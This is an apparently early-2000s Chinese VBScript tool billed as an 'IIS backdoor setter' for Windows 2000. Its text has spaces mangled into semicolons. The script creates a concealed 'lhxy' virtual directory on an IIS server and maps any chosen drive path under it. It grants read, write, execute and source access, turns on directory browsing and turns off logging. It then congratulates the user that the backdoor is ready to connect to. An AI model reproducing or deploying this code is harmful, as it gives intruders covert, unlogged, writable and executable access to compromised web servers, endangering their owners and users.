IIS后门设置器 FOR WIN2000

help1="IIS后门设置器;FOR;WIN2000;BY;动鲨;3月3号2004;年"
help2="请输入正确的虚拟目录名称和映射的路径,格式如下"
help3=";cscript.exe;iis.vbs;虚拟目录的名称;映射的路径"
help4="例如:;cscript.exe;iis.vbs;lh;e:/"

set;Args;=;Wscript.Arguments
if;args.count;<;2;then
wscript.echo;help1
wscript.echo;""
wscript.echo;help2
wscript.echo;""
wscript.echo;help3
wscript.echo;""
wscript.echo;help4
wscript.quit
end;if

strVRName=args(0);’’虚拟目录名称
strRootPath=args(1);’’虚拟目录路径

Set;checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For;each;VR;in;checkVirtualDir
if;VR.Name="lhxy";Then
foundt;="yes"
else
foundt=;"no"
End;If
Next

if;foundt;="yes";then
wscript.echo;"发现已经创建了lhxy目录，正在设置自定义的虚拟目录"
creatvdir
else
wscript.echo;"正在创建lhxy目录，以及自定义文件夹，请等待！"
creatlhxy
creatvdir
end;if

wscript.echo;"你创建的虚拟目录名称是"&;strVRName;&"，映射的文件夹是;";&;strRootPath;&" 。"
wscript.echo;"请访问http://IP/lhxy/"&;strVRName;&"/;来连接后门!"
wscript.echo;"恭喜!后门设置全部完成!";
sub;creatlhxy()
Set;objDir=GetObject("IIS://LocalHost/W3SVC/1/Root");
Set;myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true;
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end;sub
sub;creatvdir()
Set;objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set;VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true;
VirDir.AppIsolated=0;
VirDir.DontLog=true;
VirDir.EnableDirBrowsing=true;
VirDir.appcreate;0;
VirDir.CreateProcessAsUser=0
VirDir.setInfo
end;sub
wscript.quit